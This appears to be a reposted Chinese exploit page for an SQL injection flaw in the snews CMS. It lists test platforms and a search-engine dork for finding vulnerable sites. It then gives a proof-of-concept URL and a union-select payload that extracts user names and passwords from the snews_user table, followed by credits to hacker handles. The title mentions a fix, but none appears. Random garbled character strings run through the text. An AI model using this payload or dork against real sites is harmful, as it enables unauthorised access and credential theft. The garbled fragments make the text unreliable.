CMS snews SQL注射及修复

admin

标题: CMS snews SQL Injection Vulnerability
作者: By onestree
' i  `% G& C9 o2 P0 P3 v下载地址 : http://snewscms.com/
: u3 V5 J% Y% u) c6 j3 C测试平台 : ubuntu 12.10 / win 7
关键词: inurl:"tanyakan pada rumput yang bergoyang"


4 v) |2 R, Y' W7 V8 i( l! C*************************************************************
5 i9 D" M( d/ k) t
5 u6 l/ |8 e  DSQL poc:
5 Y( D. W) U) g- f" d" L9 R
http://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]

. c' U) g  A! L; n示例
* m+ Y6 n1 O. W  Q7 n5 @/ w; C
5 q+ z9 t$ F+ P$ T0 a' hhttp://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*

- h( f4 p2 M, ?5 s
2 ~: p5 f. f- a+ S8 t* ~- m9 D7 N致谢:
1 W% C0 j6 F& Z8 _
( ^- x, B  Q5 m. G2 k/ S: ]# [  Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell
% M2 C2 c: a1 m5 e9 h* V% H: D     
: x  d# F6 ~( e. N8 y) p4 M          indonesiancoder - moeslimh4x0r - go-coder

# K8 d% s: N1 \) T; Ospesial my hunny :*
+ J: ~, S; g( \' M/ }